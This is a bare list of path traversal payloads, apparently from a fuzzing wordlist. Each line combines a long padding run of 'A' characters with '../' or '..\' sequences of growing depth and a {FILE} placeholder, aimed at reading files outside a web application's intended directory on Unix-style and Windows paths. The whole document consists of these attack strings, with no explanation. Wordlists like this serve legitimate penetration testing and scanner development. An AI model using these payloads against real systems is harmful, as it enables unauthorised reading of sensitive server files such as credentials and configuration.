AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE}
|
||||
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}
|
||||
